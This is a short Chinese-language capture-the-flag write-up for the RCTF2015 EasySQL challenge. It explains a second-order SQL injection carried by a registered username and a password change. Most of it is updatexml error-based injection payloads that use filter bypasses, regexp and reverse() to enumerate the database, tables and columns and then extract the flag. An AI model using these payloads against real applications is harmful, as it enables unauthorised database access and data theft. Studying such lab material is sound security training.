buuctf-[RCTF2015]EasySQL

Fuzz  测试
过滤：
	and  insert  ascii  substr  left rigth  sleep  floor  < like /**/  %20



思路：    注册带有危险符号的用户，登录之后修改密码，就能达到二次注入的效果



爆破：   admin"or(updatexml('~',concat('~',(),'~'),'~'))or"1


    用户:	admin"or(updatexml('~',concat('~',database(),'~'),'~'))or"1   
	
	XPATH syntax error: '~web_sqli~'



   表:  admin"or(updatexml('~',concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),'~'),'~'))or"1

	XPATH syntax error: '~article,flag,users~'


列： admin"or(updatexml('~',concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),'~'),'~'))or"1
	admin"or(updatexml('~',concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),'~'),'~'))or"1


	XPATH syntax error: '~flag~'
	name,pwd,email,real_flag_1s_her

	ereh_s1_galf_laer,liame,dwp,ema



flag       

	admin"or(updatexml('~',concat('~',(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),'~'),'~'))or"1
	admin"or(updatexml('~',concat('~',(select(REVERSE(GROUP_CONCAT(real_flag_1s_here)))from(web_sqli.users)where(real_flag_1s_here)regexp('^f')),'~'),'~'))or"1

上面是自己研究的一些思路和姿势，以及写题的流程。

题目的考点是二次注入，报错注入，sql正则函数，reverse()函数。